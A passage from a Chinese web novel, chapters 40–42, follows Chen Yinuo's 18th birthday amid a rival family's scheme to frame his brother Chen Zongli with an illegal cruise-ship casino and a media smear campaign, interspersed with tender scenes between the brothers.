一个五十多岁的大叔,让一个高中生谋求生意机会,说起来真是挺滑稽。 贺朝阳咬着吸管,撩起眼皮看了他一会儿,说道:“如果让我想办法,那就是第三条路。” “你就按陈宗礼安排的,上邮轮办餐厅……” 古德庆“啊?”了声:“这不还是第一条路吗?” 贺朝阳睨他一眼,目光带着上位者的不屑:“听我说完!” 古德庆立刻闭了嘴,贺朝阳才开口:“表面上是餐厅,实际上……” “做古家的老本行。” 两人的视线一对上,不自觉挂上暧昧的笑容。贺朝阳没说谎,他真的仔仔细细查了古家的一切,包括古家过去风光一时的□□产业。 在邮轮上做餐厅,客人一天吃上五顿也赚不了多少钱,但客人在牌桌上坐两天,身家性命可都是你的了。 古德庆完全明白贺朝阳的暗示,但还是不放心:“可邮轮耳目众多,万一被陈宗礼发现了……” 贺朝阳喝光整杯柠檬茶,三白眼如蛇瞄准落网的猎物:“放心,有我在,他发现不了!” …… 凌晨3点,LS酒店套房内,陈一诺站在落地窗前,眺望深黑的夜空,看久了,感觉到有吸力把人往深渊里拽。 身后的古德庆疲惫地靠在沙发上刷手机。 “啪——”他把屏幕放在茶几上:“这就是当年的新闻,你应该也记得。” 陈一诺走过来,弯腰拿起手机,大概7年前的新闻,标题写着:震惊!天峻邮轮涉嫌非法聚赌,陈宗礼深夜被警方带回问话。 古德庆揉了揉眼睛:“当时,贺朝阳让我上邮轮开地下赌场,我以为他开玩笑,没想到,他真有办法帮我弄成了。” “外面是上城餐厅,餐厅最里面有扇门通往暗室,里面布置得跟真正赌场差不多。都知道公海赌钱没人管,我确实赚了不少。” “谁知道,去程顺风顺水,回程的时候,几个客人玩上瘾不肯走,恰好上来一批警察查船,就把人全部抓了。” “记者不知道从哪里来的消息,新闻爆了出去。当时,天峻航运物流的负责人是陈宗礼,首当其冲被带回去警察局问话。” 陈一诺点点头:“我记得,当时,天峻跟飞舜集团谈物流合作,正是关键时刻。这个负面新闻爆出,飞舜转头选择了贺家的建盛集团,消息一出,天峻当天的股市跌停。” 古德庆:“对,我被贺家从警察局捞出来,他们给了我一笔安家费,让我躲在贺家郊外别墅避风头。我才知道,这不是贺朝阳一个人的主意,是他爹的主意。” 陈一诺恍然,他一直以为,贺朝阳才是他的宿敌,而上辈子他也只跟贺朝阳交过手。如今才知道,贺朝阳的次次高招之下,都有贺朗的授意。 这是贺家举一家之力,势必搞倒陈家。 古德庆继续说:“邮轮的事情结束后,贺家察觉你是陈宗礼的突破口,所以,让我找媒体散播你们不和的传言。他们笃定,舆论压力之下,陈家必定有动作。” 古德庆在手机上翻了翻,当年的陈家兄弟的“黑历史”,前不久还被重新翻出来总结过。基本上,都是对事实的添油加醋。 传言一,陈宗礼处处打压陈一诺。 小道消息说,陈一诺在校打架,最终,校方只对陈一诺记过处分。另一方却只是手写检讨。知情人爆料,对方的家长一直求着校方判罚从轻,陈宗礼却坚定要记过。可见,两兄弟早有龃龉。 陈一诺冷笑,颠倒是非。 传言二,慈善晚会矛盾升级。 陈家兄弟慈善晚会一言不合发生争执,在影视城打架掉进泳池,晚会离开时全身湿透。可见两兄弟积怨已久。 这新闻早就爆过,但这个时候翻出来说,便有草蛇灰线埋伏笔的感觉。仿佛两兄弟的感情真的很差。 传言三,陈家接班人 陈一诺首次谈判表现出色,陈宗礼管理不当痛失飞舜!董事局奉劝陈老太,慎重选择接班人! 文章拉到最后,陈一诺脸色发白,手也在发抖。 他如果不是当事人,看完这些新闻,也误以为陈家两兄弟不和已久。如果不早做处理,假以时日,定会危害整个天峻。 贺家厉害之处在于,敏锐地抓住古德庆这个关键人物。还把舆论集中在“陈家兄弟不和”的大众话题上,让豪门争斗沦为港城市民茶余饭后讨论的焦点。 用舆论侵占心智,把“内斗”事件发酵,动摇市场对天峻的信心。也就是直接动摇了天峻的根基。 而再重看时间线,距离陈一诺被送出国,已经进入倒数阶段。 第40章 2018年6月6日,陈一诺18岁生日,也是他人生最起伏的生日。 事情从前一天,也就是6月5日开始讲起。 那几天,港城的天空灰蒙蒙的,有种“山雨欲来风满楼”的感觉。无独有偶,陈一诺右眼皮一直跳,总感觉有什么祸事要发生,他的预感向来挺准的。 但港城联考的最后一天,陈一诺轻轻松松进考场,也轻轻松松出考场。 考试结束后,还跟同桌王之初相约到附近的“老字号”咖啡店喝咖啡。 店里有一对情侣在吵架。大概是男生要出国留学,女生是最后一个知道的,两个人从小声争执,到大声闹,相当激烈。 “不是说好要一起考B大吗?你为什么出国?!” “家里人早帮我安排好了!他们养我那么大,花了那么多钱让我出国,我没办法拒绝!” “所以,你选择牺牲我?!” “就算我出国,我们也可以继续在一起的,要异地恋而已……” “你牺牲我们的感情,还希望我等你?凭什么脸皮那么厚?” “算我求你……” “算我求你!” 就在狗血爱情片演到男主即将下跪时,举着两杯咖啡的陈一诺,强行打断。 他仿佛读不懂现场的空气,严肃道:“不好意思,麻烦让让!” 吵得正上头的情侣,顿了顿,表情还没恢复,动作已经往后退了半步。 陈一诺旁若无人地从他们中间穿过,把咖啡稳稳当当放到王之初面前。 情侣炙热的怒火被陈一诺浇了盆冷水,下跪的戏码没了,相互拉着到外面另觅下半场。随着他们离开,整个咖啡店又安静了许多。 王之初看着陈一诺,忍不住“啪——啪——啪——”鼓掌。 “你也不怕他们把咖啡泼到你身上?!” 陈一诺“chua”地把吸管插进咖啡,疯狂吸入:“好意思说,我生日,你用买一送一的咖啡打发我!还要我亲自去拿!要不要脸!” 王之初厚着脸皮:“嗨,我点的虽然是杯冰萃,实则蕴含我衷心祝福。” “所谓天天喝冰萃,年年十八岁!物轻情意重,懂不懂?” “另外,我还了你一个发挥余热的机会,当了一回情感调解员。不过,你是真牛啊,这种情况还敢往上凑。不怕那个女生咬你?” 陈一诺大眼睛眨了眨分析道:“这种情况,还分得清那男的既要又要,我感觉那女生挺理性的。应该不会动手。” 王之初朝他比了个大拇指:“我第一次围观情侣吵架,不过吵得也太狗血了。全是套路。” 陈一诺咬着吸管,想起自己乱七八糟的亲戚,特别是灵堂前的一场堪比“围攻光明顶”的“狗血大龙凤”,他倒是见怪不怪。 “哗啦——”一阵怪风吹过,掀翻了咖啡店门外的帆布,敲着铁杆发出震天声响。吓得门口吵架的情侣被迫再次转移阵地。 陈一诺目光从情侣身上转向锅盖一样黑的天空,喃喃:“老王,这天气,飞机会不会晚点啊?” 王之初也抬头看天:“有可能。” 陈一诺看了眼手机,没有陈宗礼的信息,他咂摸着:“啧,该不会延误回不来吧。” 王之初瞬间领悟:“你哥要回来?” 陈一诺“嗯”了声:“回来陪我过生日。” 王之初有些惊讶,喃喃道:“最近多事之秋,他还记得回来陪你过生日,真牛逼。” 陈一诺眨眨眼,自然清楚,王之初说的“多事之秋”是什么。 …… 前几天晚上,陈宗礼在天峻开会,突然一群警察出来把他带走。 消息一出,整个陈家一团乱,老太太拿着电话四处打听。最后,还是王之初的父亲——王律,作为陈宗礼的代理律师,报信说:宗礼安全,不用担心。 说是不用担心,但陈家上下依然整晚没睡着。 万幸的是,第二天清晨,陈宗礼被释放。但邮轮非法聚赌的事没瞒住,登上了当日各大新闻媒体。 当时,天峻官方道歉声明说:邮轮上供应商非法聚赌,已终止与该供应商的后续合作,同时追究其法律责任。 官方声明一出,习惯沉默的公众罕见地不埋单。甚至非常有组织地集中火力抨击陈宗礼作为管理层的失职,希望天峻给予处罚。 祸不单行,因为非法聚赌,天峻股票直接跌停,媒体陷入对陈宗礼的口诛笔伐,再次掀起舆论高/潮。 就在这个风口浪尖,陈一诺的生日悄然来临。起初,他不抱希望地给陈宗礼发信息。 陈一诺:哥,我生日那天,你还能回来吗? 陈一诺:人不到也没关系,礼物到就可以了!狐狸奸笑.jpg 几小时过去后,陈宗礼回复一条语音:人到,礼也到。 …… 那条语音,陈一诺反复听了好几遍,心里高兴得不行。从今早开始期待跟陈宗礼的见面。 王之初看他一脸得意,叼着吸管感慨:“真羡慕,我也想有一个拉风的哥哥。” 羡慕的人何止王之初一个?学校里不少女同学也羡慕。 自从他是陈宗礼弟弟的身份暴露,学校里,总有人向他打听陈宗礼的近况。话术出奇一致:好久没见宗礼学长,真羡慕一诺,能在家也经常看到。 陈一诺勉强笑笑,想说:对不起,在家也见不了几面。 上大学以后的陈宗礼,更忙了。日常奔波于港城和C国的常青藤学校,工作学业两手抓。回港城,不是去天峻开会,就是见客户应酬。有时候顺路把老太太送到家门口,自己却不回家,直接赶去机场。 浪费了兰姨满桌的好菜,嗔怒道:“小小年纪不学好,净学了三过家门而不入。” 陈一诺用手指算了算,他已经快两个月没见过陈宗礼。电话很少,消息二十条回一条算不错。翻翻他们的对话框,简直就是他自己单机输出。 也是那时候,陈老太打算慢慢把天峻交到陈宗礼手上,眼看陈宗礼肩上的担子越来越重。陈一诺有时候羡慕又担心。 这样忙,陈宗礼还答应带礼物回来陪他过生日! 陈一诺内心窃喜:他在陈宗礼心里,估计是重要的吧。 …… “哟,这不是陈一诺吗~” 陈一诺思绪被打断,光凭声音,就知道说话人是贺朝阳这个讨厌鬼。 他头都懒得回,冷冷丢了句:“你在我身上装GPS?怎么哪儿都有你?” 贺朝阳对他的挑衅毫不生气,他一手搂过陈一诺的肩膀,两人凑得很近。不知道的以为他们关系多好。 贺朝阳噙着笑:“听说,前几天,你哥连夜被警察带回警局喝咖啡,说是非法聚赌。” “我看天峻股票都要跌停了……头疼吧。” 陈一诺冷冷地看他,说道:“头疼去看病,别在我面前晃。” 贺朝阳罕见地心情好,没跟他计较:“我是担心你,才来跟你说几句真心话。” “如果你觉得这是无病呻吟,听听就算咯。” 陈一诺睨着他:“有事说事,别绕来绕去。” 贺朝阳依旧不生气,说道:“邮轮非法聚赌的事,你都知道了吧?现在天峻旗下所有邮轮都受牵连,一起停运了!天峻董事会意见特别大。都在等陈宗礼给个说法。还闹到陈老太那里……” “陈老太现在啊,估计左右为难。既要给董事局一个交代,又想护着亲孙子,加上陈宗礼什么地位?预备役天峻掌舵人啊。” “听说,老太太要严惩供应商,向他索赔一切损失!” 非法聚赌这件事,陈一诺还略知一二。天峻在对外声明里已经说得很清楚,这件事是供应商欺上瞒下,陈宗礼本人毫不知情。如果董事局要一个说法,让供应商接受裁决,非常合情合理。 贺朝阳继续道:“但你知道不知道,这位供应商是谁呀……” “呼啦啦——” 暴雨轰然落下,无差别地打湿了每一寸土地。路上行人快速四散,咖啡店里突然人满为患,全是进来躲雨的。 狂风下,雨滴被吹成了横线,“暴雨梨花针”似地刺在陈一诺面前的玻璃上。明明没有触碰到,他却觉得浑身被扎得疼。 虽然,贺朝阳说得隐晦,但他第一时间想到了古德庆。心里瞬间慌了。 他咬着后牙槽,压抑自己的不安,否认:“我怎么会知道。” 贺朝阳察觉到陈一诺的异样,这让他非常得意。 笑着说:“外面到处说你跟陈宗礼的八卦,说你们要二龙争珠,抢陈家的继承权。” “要是这位供应商被查出,是你的亲戚,老太太会怎么想你?” 陈一诺瞪着他:“你脑洞那么大,怎么不去写小说?” 贺朝阳笑得更灿烂:“陈一诺你别太单纯。陈家可是港城四大家族之首,陈宗礼出生就是陈家继承人,无论外面的人怎么写,他的位置没人能撼动。” “所谓养兵千日用兵一时。陈家花钱养你,花心思培养你,自然希望有一天,你能回馈陈家。” “要是老太太发现,这件事罪魁祸首跟你有关系,因为你的人伤害到陈宗礼。你猜她会保你,还是保陈宗礼?” 陈一诺推了他一把:“我们家的事,轮不到外人插嘴!” 按照陈一诺的性格,这会儿应该把剩下半杯咖啡泼在贺朝阳脸上才能解气。一方面,他觉得咖啡是老王送的礼物,用来报复不太妥。另一方面,觉得自己如果真泼,那就真的输了。 输给贺朝阳?门都没有。 他抱着书包,准备离开咖啡厅。贺朝阳露出胜利者的微笑,朝陈一诺的背影,嚷道:“我爸常说,道理不用教,被社会毒打一次就记得牢~” “到时候,你就知道,什么兄弟情,全是放屁!” 陈一诺不想听他多说一句,不管不顾地往外走。出门的瞬间,被瓢泼大雨淋得湿透。 暴雨中,不知哪里冒出一条流浪狗,跟他一样浑身湿透,如影随形地跟在他身后。 一人一狗,一前一后,像落魄的主人和他的影子。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 “啪——” 陈家老宅门前的老榕树,被狂风吹落了一根树枝,刚好砸碎了某个房间的玻璃窗。 狂风灌入房间,把书桌上的写满公式的纸张吹得满屋乱飞,好不凌乱。 与此同时,二楼陈老太的书房内,罕见地传来陈老太震怒的声音。 “古家的人联系你,为什么不第一时间告诉我?!他们一家子全是豺狼虎豹,没有一个善茬!” “这下可好,捅了那么大一个篓子,非法聚赌!董事会准备问责,你打算怎么办?” 对面的陈宗礼哪怕上斜眼布满红血丝,依然服装整洁,站得笔直。今天之前,他已经连续一周,每天睡眠不超过3小时。 濒临体力临界点,他的声音依然沉稳:“古德庆身上疑点很多,我已经在派人调查,律师也在准备诉讼,但无论如何,天峻内部我负全责。” “砰——”一声响,是老太太拍桌的声音。 “你全责?!这句话,你敢在董事会上说就全完了,你知道不知道?!” “你以为自己还在学校?犯了错,写个检讨、见个家长,就能揭过去?” “人家明面上喊你一句太子爷,暗地里多少人想把你拉下来!” “最近你们兄弟不和的新闻天天有。董事会已经有人探我口风,问继承人确定了吗,偏向你还是一诺!” “你是我亲孙子,我怎么可能不偏向你。但是你捅了那么大的篓子,让人抓住把柄,我想帮你说句话,都不知道怎么开口!” 一旁的复古烧水壶冒起汩汩水汽,陈宗礼拎起水壶,熟练地给陈老太沏上一杯碧螺春。 低声道:“奶奶,我不是神,我也有判断错的时候。古德庆在港城势单力薄,不可能在邮轮上神不知鬼不觉地布置一个赌场!你在给我点时间,只要我查出来……” 陈老太打断:“就算被你查到有人设局。但丑闻已经见报,集团对外的声明里,把责任推到供应商上。对内是管理层的问题,总要有人担责。” 陈宗礼倒是很轻松:“那就一人做事一人当!” “嘭——”地一声。 陈老太手里盛着碧螺春的茶杯直线飞出,明明可以躲开的,陈宗礼硬挺着,结果茶杯划过他的额角,咚声砸落地毯,留下一圈浅绿色。 陈宗礼的额角,瞬间裂开一个口子。 陈老太激动道:“你要是一人做事一人当,那天峻怎么办?!眼看就要把天峻交到你手上,你让我收回来是吗?” 陈宗礼一脸淡然:“是我的,我迟早会拿回来。接下来飞舜的合作,我一定能拿下来,将功补过。只要有利好消息刺激,股价就能再次回温,闲置的邮轮也能再用起来……” 陈老太对这个解决方案算是满意,但脸色还是差,“万一拿不下呢?” 淡然的陈宗礼,咻然皱起眉:“那也是我的问题!” 陈宗礼攒紧双手:“奶奶,我们还没到需要绝望的时候,飞舜我一定会全力拿下,你等我好消息。” 陈老太看着他的伤口,叹了口气:“去吧,处理一下伤口。” …… 陈宗礼从旋转楼梯下来,刚好看见水鬼般浑身湿透的陈一诺回家。 他站在门口,没进家门。只站了一会儿,密集的水滴顺着裤腿往下滴,很快绕着他360度编织出一个结界。 他落魄的模样,先把兰姨吓了一大跳,尖叫声响彻整个客厅:“哎哟要死了!你这小孩怎么回事啊?三姐赶快拿毛巾过来!琳姐吩咐厨房煲姜汤……” 兰姨几句话,瞬间让老宅的佣人变得忙碌起来。佣人刚想把厚毛巾搭在他身上,被陈一诺抬手拒绝了。 他盯着陈宗礼,迈着大步往二楼走,旋转梯的地毯上,沿着他的行动轨迹留下一行雨水印。 他在陈宗礼下一级楼梯停下,抬头仰望他,一头卷毛被雨水打得贴在脸上,他脸色惨白,伸手撩起对方的额前头发。陈宗礼立刻感觉到他手指的温度,冰冰凉。 陈一诺焦急问:“怎么受伤了?” 忙碌的兰姨敏锐地听到“受伤”两个字,猫头鹰似的看向陈宗礼:“哎哟,额角怎么破啦?” 陈宗礼没说是老太太砸的,淡然笑道:“不小心磕的。” 陈一诺立刻拆穿:“撒谎。” 陈宗礼瞥了眼陈一诺,转头对兰姨说道:“兰姨,家里有药吗?” “怎么事情都赶一块儿了啊,你们楼上等着,别乱碰容易感染。” 说罢,兰姨“登登登”拿药去了。 一时间,旋转梯上,只剩陈宗礼和陈一诺。安静的尴尬,让他们几乎异口同声问出: 陈一诺:“怎么受的伤?” 陈宗礼:“为什么淋雨?” 前一秒为异口同声感到惊讶,下一秒又忍不住上扬嘴角,笑意直达眼底。 陈宗礼拎起他肩上的一角毛巾,把他那头湿答答的卷毛盖上,隔着毛巾摩挲他的脑袋。 嘴里假装嫌弃道:“啧,落水狗。” 白凤娇生前叮嘱过他:“脑袋不能让人随便摸,不然长不高。” 所以,为了长高,陈一诺很宝贝他的脑袋,保险起见,脖子以上不准摸。 可陈宗礼动作太突然,没来得及反抗,就屈服了。甚至伸长了脖子,方便他揉。 陈宗礼的手掌很大,掌心也热,隔着毛巾中和了雨水的寒意,安抚了陈一诺杂乱的心绪。 半晌,温热的掌心离开,陈宗礼的声音从头顶传来:“行了,快去洗澡。” 陈一诺这才恋恋不舍地抬起头,他透过毛巾缝隙看陈宗礼温柔的表情。他再也找不到第二个像陈宗礼这般待他好的人了。 他心里笃定:贺朝阳的话果然一个字都不能信。 …… 老宅的三楼整层,被陈一诺和陈宗礼平分。 陈一诺的房间靠近楼梯,他本想先回房间洗澡,再去找陈宗礼。没想到拉开门,一阵狂风扑面而来,同时,几张写满公式的草稿纸糊他一脸。 陈宗礼围观了整个过程,都忘了额角的伤,忍着笑朝他房间看。 原来,房里的窗户被掉落的树枝砸破,狂风席卷了他的房间,涌入的暴雨把木地板全淹了。 正好,兰姨提着药箱搭乘电梯上来,看见两人呆站在门口,问道:“怎么不进去……” 她凑过来,看见房间一片狼籍,惊讶道:“我的妈呀!今天真是没完没了!!” 嘴上抱怨着,该安排的却有条不紊,先把医药箱递给陈宗礼:“伤口自己处理一下。” 转头看向陈一诺:“一诺,先去哥哥房间洗澡。” 安排好两位少爷,她果断关起房门,戴上老花镜掏出手机,拨通维修工人的号码。 “喂,老张!二少爷窗户被树砸啦……” “树是谁?树就是树啊,你是脑子不好,还是耳朵不好?!地板都被泡啦!赶紧过来……” 如果女超人有形象,那肯定长成兰姨大的模样,随叫随到,处理多线程工作麻利又果断。 等她进了电梯,两位少爷还愣在原地。 …… 这不是陈一诺第一次到他哥的房间洗澡。平时学习晚了,他也会蹭陈宗礼的浴室用。 他喜欢陈宗礼的沐浴露,明明用的是同一个牌子,兰姨给他们选的味道却不同。 陈宗礼是红茶味,陈一诺是香柚味。 陈一诺把沐浴露挤在手心,快速搓出泡沫,醇厚的红茶香味被激活,他掬起手忍不住深闻…… 是陈宗礼的味道。 战斗澡洗了十几分钟,他裹着毛巾从浴室出来的时候,陈宗礼正对着镜子涂药。 陈一诺快步走过来,皱眉:“怎么不等我出来帮你涂?” “几分钟的事,我自己来就好。” 陈宗礼涂着药,从镜子里瞥见裸着上身的陈一诺。少年皮肤白皙,薄肌匀称,水滴顺着人鱼线没入腰间的毛巾。 陈宗礼收回视线,指着床边的睡衣:“衣服穿上!” 陈一诺转身背对陈宗礼,刚把睡衣披到身上,腰下毛巾一松“咻”地落下。幸好睡衣够长,遮住一半屁股。 陈一诺不知羞,还大大咧咧地问:“哥,你喜欢穿内裤吗?” 陈宗礼突然绷不住笑了,反问:“你不穿?” 陈一诺穿好睡裤,走到他面前:“我听说,穿内裤影响发育。所以我能不穿都不穿……” 陈宗礼撇他一眼,虽然睡裤很宽松,但轮廓依稀可见,他调笑:“发育得挺好。” 陈一诺露出少年的坏笑:“哥,你也试试……” 陈宗礼苦笑:“我穿内裤发育也挺好。” 陈一诺扫他一眼,点头:“那倒是。” “嗯?”陈宗礼拿着止血贴的手一抖,“你见过?” 陈一诺一脸坏笑:“当然……上厕所的时候啊,哥,你这尺寸,营养过剩了吧!” 陈宗礼“啧”了声,完全不想跟他讨论这个话题,骂道:“没大没小。” 陈一诺神经非常粗,被骂了也没什么感觉。浑不吝地看向他额头上的止血贴。 “到底怎么弄的?” 陈宗礼撇撇嘴:“说了不小心磕的。” 陈一诺突然欺身到陈宗礼面前,手指用力按了一下止血贴,陈宗礼瞬间疼得皱眉,骂道:“嘶……你小子!” 陈一诺怕他报复,立刻后撤一步,鬼马道:“让你不说实话!你刚刚从二楼下来,那就是从奶奶书房出来。除非你去磕神坛的观音像,否则哪能磕成这样。” 陈宗礼乱揉他的卷毛,骂道:“臭小子,那么八卦干什么?” 陈一诺收敛了浑不吝的模样,坐在床上,神情担忧道:“奶奶砸的吧?” “她知道了非法聚赌的供应商是我大伯,对不对?” 很早之前,他就知道,陈老太跟白凤娇不同,前者是手握实权的女强人,跟慈祥、和蔼这些词没有任何关系。面对陈宗礼更是严苛到极点。 陈宗礼定定看着他,了然道:“这就是你淋雨回来的原因?谁在你面前嚼舌根了?” 贺朝阳说供应商跟自己有关系的时候,他嘴上不认,心里已经猜到是古德庆。现在听陈宗礼的语气,证明他猜对了。 这回,他真的连累了陈宗礼…… 他觉得亏欠,又不知道怎么办,只能含糊道:“我瞎猜的。” 陈宗礼走到床前垂眸看他,他伸手揉了揉还带着潮气的卷毛,安慰道:“跟你没关系,别瞎想,明天就18岁了,想要什么礼物?” 陈一诺忽地抱着陈宗礼的腰,那么一抱,突然觉得陈宗礼瘦了许多。 一股热流涌到眼眶,他把脸埋到他肚子上,瓮声道:“我什么都不要,我就想赶快长大,到天峻帮你和奶奶。那你肩上的担子就能轻一些,也不用那么累,你瘦了好多……” 陈宗礼忍不住深吸一口气,陈一诺的话连同陈老太的斥责,同时在他脑海里炸开。 有种冰火两重天的错觉。 他不动声色地调节内心深处涌动的情绪,哑声道:“一诺,陈家不需要你报恩,你只考虑自己喜欢的就好,无论是创业,还是做个富贵闲人,怎么都行……” “我不要。”陈一诺双臂抱得更紧,他抬头看着陈宗礼,少年的眼里有着献祭般的赤诚。 “以前,我不理解。你都站在金字塔顶端,拥有普通人几辈子赚不到的金钱了,为什么奶奶还对你那么严格。现在我懂了。” “你站得越高,就越不能犯错。意味着你肩负的责任越大,压力越大。” 他哽咽着:“如果你非要问我喜欢什么……我喜欢你……” “什么……?”陈宗礼上斜眼忽然瞪大,里面装着难以置信。 “我喜欢你身边有人陪着的,我不想看你一个人孤零零的。” “哥,我想呆在你身边,行吗?”—— 作者有话说:陈一诺aka:甜狗[坏笑] 第42章 陈一诺这几句话,让陈宗礼的心情仿佛在做云霄飞车:从天堂到地狱再到天堂。 老宅外的狂风依旧在肆虐,“呜呜”的风声,从窗户缝隙漏出,老宅旁的大榕树吹得像扇子似的摇摆、晃动。 然而,户外的声音再嘈杂,陈宗礼的世界都是静止的,怀里、心里、眼里全是陈一诺。 那一双清澈的大眼睛里,盛满了真诚,哪怕世界静止,心依然控制不住地怦然。 自从陈宗礼来到这个世界,他一直以继承人的身份被培养教育。他生来就拥有一切,也承担着普通人难以想象的压力。 外人仰视他,站在遥不可及的高处,是头戴皇冠的王子,却看不见他背负着百年陈家的荣光,十几万人的生计。他戴着皇冠,脚下只有钢丝。他一路战战兢兢,只怕稍有不慎……不,不允许有丝毫不慎。 如果陈一诺不开口,他也不会主动要求,可陈一诺开了口,他又舍不得…… 舍不得答应,又舍不得放他走。 陈宗礼的沉默太久,久到陈一诺松开双臂,满脸疑惑地看他。 陈宗礼回过神来,沉吟道:“你想呆在我身边?” 陈一诺点头,郑重地应了声。 陈宗礼带着一些期盼,还有一点疑惑,问道:“为什么?” 陈一诺皱眉:“因为你对我好呀。而且是无条件、不求回报的对我好……” “还有……”陈宗礼努力控制着表情,屏气等待。 “还有你是我哥!我的家人!” 幻想中的粉红色泡泡,“啵——”的一下,被他一句话破灭、消失。 他自嘲地笑了笑,撒气似的用力揉陈一诺的头发,把卷毛弄成鸡窝,骂道:“哎,真想揍你一顿!” 陈一诺捂着脑袋,边躲边嘟囔:“说得好好的,怎么突然要揍人!” 陈宗礼撒了气,无奈道:“想陪我就好好努力!赶快长大!别让我等太久!” 陈一诺顶着鸡窝头,响亮地应着:“行!没问题!” “回房间换身衣服,准备吃晚饭了。” “好的~”陈一诺从床上蹦起来,想到什么,又突然小跑回他身边,像只行动难料的疯狗。 “哥,我的礼物是什么?” 陈宗礼后仰看着他,挑眉道:“你刚刚不是说,什么都不要?” 陈一诺立刻耍赖:“刚刚是刚刚。” “我跟你说,我同桌王之初,今天送我一杯咖啡,还是买一送一里“送”的那杯。圣保罗不是贵族学校吗,怎么那么抠啊。” 陈宗礼不解地看着他,脸上写着“说重点”。 陈一诺立刻识趣地拐回来:“我想说什么呢……我想说,你的礼物可不能再让我失望了。” 陈宗礼忍不住笑:“今晚过零点就给你。” “你说的啊!我今晚不睡等你哦!!” …… 晚饭后,陈宗礼跟老太太上书房跟高层开会,商量飞舜合作的事,关乎天峻航运的生死存亡,这个会一直开到深夜。 因为陈一诺房间的地板被泡了,兰姨另外安排他在一楼客房暂住。 但他心心念念陈宗礼说的那份礼物,整个晚上都赖在陈宗礼房间等他。 看完一本书,陈宗礼还没回来,他已经有困意了。 怕在他回来之前睡着,干脆披着史努比毯子坐在他房间门口走廊里等。那晚的雨一直下着,他能清楚听见雨滴的声音。白噪音过于催眠,没到12点,他就坐着睡着了。 他做了个梦,梦见自己被一块红茶味的云温柔托起,飘到很高很高的夜空里。能触碰星星,能拨弄月牙,最后回到浓厚的云朵中,被绵软包裹,他以为云朵是冷的,没想到暖和得不可思议。 醒来的时候,谜底终于解开:为什么云是暖的? 因为,云是陈宗礼。 昨晚,他等人等睡着了,陈宗礼回来时发现了他。于是,他被陈宗礼抱回床上,安抚毯掉在地上,他居然还安稳睡了一夜。 想了想,好几次,他在陈宗礼房间蹭床的时候,也不需要安抚毯…… 思绪回笼,他才发现自己的脑袋还靠在陈宗礼胸前。他的鼻尖蹭在陈宗礼的睡衣上,能闻到沐浴露的味道——若有似无的红茶味。 他父母去得早,小时候特别喜欢贴着人睡,听着对方有力的心跳声,能让他有安全感。陈宗礼的心跳就很有安全感。 他微微抬起头,督见陈宗礼微微凸出的喉结,顺着脖颈往上是锋利的下颌线。他忽然想继续往上,看看陈宗礼的脸。 过程中,卷毛蹭到陈宗礼的下巴,太痒了,他脑袋自动地往后仰,沙哑地嘟囔着:“别动,痒……” 低沉沙哑的几句,害陈一诺耳尖发红,他只能被点穴似的不再动了。 陈宗礼拿起搭在陈一诺腰上的手,直接盖在他的卷毛上,摸小狗似的,微微扬起下巴,用下颌线压下陈一诺的卷毛,把他的脑袋卡在自己的脖颈处。 陈一诺盯着他的喉结,眼睛眨了眨,调整了一个舒服的角度,慢慢闭上眼。 18岁的第一天,陈一诺许了个愿——希望能跟陈宗礼一起赖会儿床。 这个务实的愿望,时效维持了大概半小时,他们就被陈宗礼的电话声吵醒了。 陈宗礼迷糊着拿起手机,对电话那头:“喂?”了声。 对方应该在说工作的事,说了没几句,陈宗礼就蹑手蹑脚地下了床。 等他走远,陈一诺也不装了,他大字型躺在陈宗礼的床上,他斜眼看见床头柜上的字条,一把抓过来,看了眼。 然后又“大字型”躺回床上,一边傻笑着,一边让手脚在床单上,上下慢慢地划了划,越划越快…… 陈宗礼接电话回来,看着床上的陈一诺快要把他的床单划出火星子。 无奈问道:“我的床单好玩吗?快乐吗?” 陈一诺喊道:“好玩!快乐!” 他把字条盖在眼上,像在炫耀自己收到礼物了! 嚷道:“特别快乐!” 陈宗礼走到床边,俯下身来双手撑在他脑袋两侧,眼上盖的字条,是他手写的生日祝福。 上面写着: 诺诺,18岁生日快乐。 愿你张牙舞爪,想咬就咬。 ——陈宗礼 陈宗礼拿走纸条,看着陈一诺已经笑弯的双眼,说道:“礼物都没拆,就那么开心?” 陈一诺点头:“嗯,开心!好久没收到手写的祝福了。” 陈宗礼把手指伸到他嘴边,开玩笑道:“生日快乐。来,18岁的第一咬!” 陈宗礼说人到,礼物也到,终究也不算食言。 那份18岁的生日礼物到底是什么,陈一诺也已经忘了。 只是说完“18岁的第一咬”后,陈一诺登鼻子上脸,“昂”一口咬到陈宗礼的左脸。 陈宗礼阴着脸,顶着一个牙印回天峻开会的情景却毕生难忘。 …… 后半夜,天微微亮。LS酒店内的盘问还没结束。 陈一诺坐在吧台的高脚凳上。“啪——”地点了根烟,他平常不抽,但此时心里像压了块沉重的石头。 他嘴里含着烟,挑眉看向脑袋要耷拉到肚子上的古德庆,毫不犹豫地朝他丢了一个纸团。 古德庆瞬间清醒,嚷道:“我说我说!我什么都说!” 陈一诺吐了口烟,喃喃:“那你倒是往下说啊……” 古德庆抬手擦了擦口水,有些茫然:“说……说到哪儿了?” “哦哦哦,我想起来了!我们说到,飞舜取消跟天峻合作。” 陈一诺眯着眼,吸入一口尼古丁。 18岁生日后,传来“天峻续约失败,飞舜跟建盛签约”的消息。对于多事之秋的天峻而言,简直是雪上加霜。 意味着,天峻丢了大客户,旗下所有邮轮没了生意,员工还将面临大裁员。 “贺家拿到飞舜的合作后,又想到了损招,他们付了一笔重金,让我到警局自首。还找了一批记者专门去警局门口采访我。” 那个采访,陈一诺记忆相当深刻。 视频里,古德庆被一群记者围攻在警局门口,而记者的提问和古德庆的回答,当然是提前安排好的。 记者:“古先生,你来这里自首,跟天峻的大裁员有关系吗?” 古德庆:“因为我的错误,让那么多人丢了生计,我感到非常抱歉。今天我鼓起勇气自首,算是给大家一个解释。” “我本名叫古德庆,以前是陈一诺的大伯。” 听见陈一诺的名字,记者们纷纷兴奋起来:“你们不同姓,怎么能是亲戚呢?你有什么证据吗?” 古德庆从怀里掏出一张古家的合照,递到摄影机面前,这是古家还没没落时的照片。古家十几户人济济一堂的拍照好不热闹。当时的一诺站在最前排,笑容很稚气。 “后来,我们家没落,他就被陈老太太领养回了陈家。改名叫陈一诺。” “我也是最近,才重新跟他相认了,也有了后来到邮轮的工作机会。” 记者们的长枪短炮“咔嚓咔嚓”不断,追问道:“你的意思是,让你成为邮轮供应商的,其实是陈一诺?” “那能回应一下,非法聚赌是你跟陈一诺一起伙同的主意吗?” 